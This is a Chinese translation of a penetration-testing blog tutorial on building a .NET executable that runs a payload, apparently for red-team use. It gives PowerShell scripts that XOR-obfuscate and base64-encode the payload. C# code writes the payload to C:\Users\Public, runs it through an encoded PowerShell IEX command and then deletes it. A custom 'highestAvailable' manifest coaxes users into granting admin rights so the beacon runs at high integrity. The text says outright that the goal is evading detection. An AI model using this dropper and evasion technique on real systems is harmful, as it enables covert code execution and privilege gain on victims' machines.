-
-
[翻译]为渗透测试者编写.NET可执行文件 –part2
-
2017-12-27 20:06 2763
-
这篇文章是对上周那篇 .NET 可执行文件的一些改进。首先,我们将payload PowserShell执行直接写入exe文件。然后,我们将添加一个自定义的应用程序清单来控制程序运行的进程级别。有关part1的部分在这里, 相关代码可以在这里找。
Stageless payload
这里不是让 PowerShell 下载并执行我们的 payload ,而是将 payload写进一个文件里,让PowerShell去读取和执行。
“什么什么?我们要往磁盘里面写东西?!”
是的,但是...我们会加密它,而且很多应用程序都是把东西写到磁盘上,因此这并不容易被发现。
虽然不是真正意义上的加密,但对我们来说已经足够了。
我们将payload中的每个字节进行异或,然后对其使用base64加密。此处的异或就是我们所说的“加密”,这样在PowerShell中很容易实现“解密”,base64加密是为了产生普通的字符以便粘贴到程序中去。如下是PowerShell脚本:
param ( [string]$in = $( Read-Host "Please specify a file to encode with -in" ), [string]$out = $( Read-Host "Please specify an output file with -out" ) ) if (-Not (Test-Path $in)) { Read-Host "Please specify a valid filepath" } $str = [System.IO.File]::ReadAllText($in) $bytes = [System.Text.Encoding]::Ascii.GetBytes($str) for($i=0; $i -lt $bytes.count; $i++) { $bytes[$i] = $bytes[$i] -bxor 0x71 } [Convert]::ToBase64String($bytes) | Out-File $out
代码可以在这里找到
0x71是用来实现异或的,之后的解密也是使用这个值。
使用PowerShell脚本加密payload
接下来把上面加密后的密文复制到程序中去,在main方法之前设置一个静态字符串。Main函数中执行的第一步就是把密文写入文件,这里把它写入到 C:\Users\Public\目录下,这个目录通常是存在的。如果此目录不存在的话代码是不会执行的,所以在写入之前务必检查一下。
static string psc = "<encoded payload>" static void Main(string[] args) { File.WriteAllText(@"C:\Users\Public\test12.txt", psc); ....
payload已经被写到文件中了,现在需要执行PowerShell命令来读取这个文件,解密其中的payload并执行它。大致是如下这样:
$f=[System.IO.File]::ReadAllText("C:\Users\Public\test12.txt");$b=[Convert]::FromBase64String($f);for($i=0;$i -lt $b.count;$i++){$b[$i]=$b[$i] -bxor 0x71}IEX([System.Text.Encoding]::Ascii.GetString($b));
$f 是从文件中读出的base64字符串,将它解密为字节数组存在$b中,然后让每个字节都与0x71异或,最后将字节数组转换为要执行的字符串命令。
直接调用字符串命令要对字符进行繁琐的转义处理,所以使用base64对其加密,运行的时候也以base64密文的形式。可以采用和刚才类似的代码:
param ( [string]$in = $( Read-Host "Please specify a file to encode with -in" ), [string]$out = $( Read-Host "Please specify an output file with -out" ) ) if (-Not (Test-Path $in)) { Read-Host "Please Specify a valid filepath" } $str = [System.IO.File]::ReadAllText($in) $bytes = [System.Text.Encoding]::Unicode.GetBytes($str) [Convert]::ToBase64String($bytes) | Out-File $out
代码可以在这里找到
注意,之前是对ascii编码的字节加密,现在是对unicode编码的字符串加密,在第一个脚本中采用ascii编码使得输出内容长度更小,但是这里我们需要采用unicode编码,因为这里加密后的PowerShell命令需要这种类型的参数。
base64编码我们的PowerShell命令
我们把输出作为参数传入程序中。
process.StartInfo.Arguments = "-enc <base64 encoded command>"
现在程序就可以运行起来了,在PowerShell读取完文件后我们可以做一些清理工作,我们需要等待一会儿然后执行删除:
Thread.Sleep(5000); File.Delete(@"C:\Users\Public\test12.txt");
代码在这里
如果你已经运行了最后的代码,那项目目录projectname\bin\Debug\projectname.exe. 下面会出现.exe文件。也可以通过选项Build>Build Solution或者直接F6创建一个新版本的exe文件,以避免在自己的电脑上执行payload。
提高进程的运行级别
Windows进程有不同的运行级别,这也决定了它们在系统中的访问和操作权限。这里就谈谈与本文相关的部分,如果你想深入了解可以参考这里。
作为一个攻击者,通常我们希望自己能拥有最高的权限来达到目的(比如SYSTEM权限),通常希望以管理员权限访问到系统资源,但从普通进程到管理员进程还有一些复杂。但是可以在程序启动的时候,要求用户更改进程运行的权限。
当用户运行一个普通的应用程序,它通常只具备一般的权限,也就是说不能执行管理员命令。但是程序可以通过触发用户账户控制(UAC)窗口来请求更高权限。这个弹出框一定不会陌生吧…
UAC窗口提示
接下来的操作就取决于UAC的设置和用户的权限了。假设用户是属于本地管理员组的,如果UAC设置为“提示同意”(默认),用户将不得不点击以管理员身份运行该程序;如果UAC设置为“提示输入凭据”(不是很常见),用户需要输入凭据才能以管理员身份运行该程序;如果UAC设置为“无提示”或禁用,程序仅是以普通身份运行。作为标准用户,如果UAC设置为“提示输入凭据”,则用户需要输入管理员凭证才能继续。如果UAC设置为“无提示”或禁用,程序将运行失败。
我们可以使用一个应用程序清单来决定程序是否要以更高的进程级别运行。这儿有三种方式:asInvoker, requireAdministrator, 和highestAvailable。第一个选项asInvoker 是默认的,程序会以普通进程的方式运行(除非目前的用户是管理员身份登录的,那一切权限都提升了)。下一个选项就显而易见了,需要管理员权限才能运行,否则就会失败,通常许多安装人员会这么使用。最后一个选项更加灵活,也是我们感兴趣的,如果用户是本地管理员组的成员,则UAC将提示提升进程运行权限,但如果用户不是管理员,程序将以普通进程运行。
三个选项中的任何一个都可以,取决于可执行文件脚本里面是如何写的。我们这里使用“highestAvailable”这个选项,其余两个可以自行测试。
首先,我们创建一个清单并指明所需的执行参数。
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2"> <security> <requestedPrivileges> <requestedExecutionLevel level="highestAvailable" uiAccess="false"/> </requestedPrivileges> </security> </trustInfo> </assembly>
将其保存为 a.mannifest ,然后在Visual Studio 项目中包含进去
Visual Studio中的manifest文件
在“Project”菜单下,选择“<project name> Properties”,然后在资源下拉列表中选择新的 自定义清单。
在项目属性中选择我们的清单文件。
当我们build可执行文件时,manifest 文件就会被包含进去。当程序以本地管理员权限运行时,会出现UAC提示窗使程序以更高的权限运行。我把包含manifest文件的程序重命名为peewpw_adm.exe,方便与原文件做对比。运行在管理员身份,你可以看到包含manifest文件的程序是如何被打上UAC标记的。
以本地管理员的身份,查看使用自定义清单前后的可执行文件。
然而,当以普通用户的身份运行时,并没有打上UAC标记,普通用户运行其中任何一个程序都会以普通进程权限运行。
以普通用户身份查看使用自定义清单前后的可执行文件
可以看到管理员运行这两个文件(第二个文件点击UAC图标),一个信标被建立为一个中等完整性(正常)进程,另一个是高完整性(admin)进程。
两个程序的运行结果:第一个作为普通进程被标记上了信标,第二个就是管理员进程(注意星号和红色的电脑图标)。
后记
这篇文章是把payload加密写入磁盘,下次将尝试无状态payload的其他选项,不使用写入磁盘的方法。
使用应用程序清单提升进程运行的级别,避免使用绕过UAC的方法而引发报警。相反,我们可以要求用户在他们期望提示的时刻提供给我们,例如。安装一个程序。
来源:https://www.peew.pw/blog/2017/12/4/writing-net-executables-for-penteters-part-2
本文由 看雪翻译小组 cherrie 编译
转载请注明出处
阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开 发者可享99元/年,续费同价!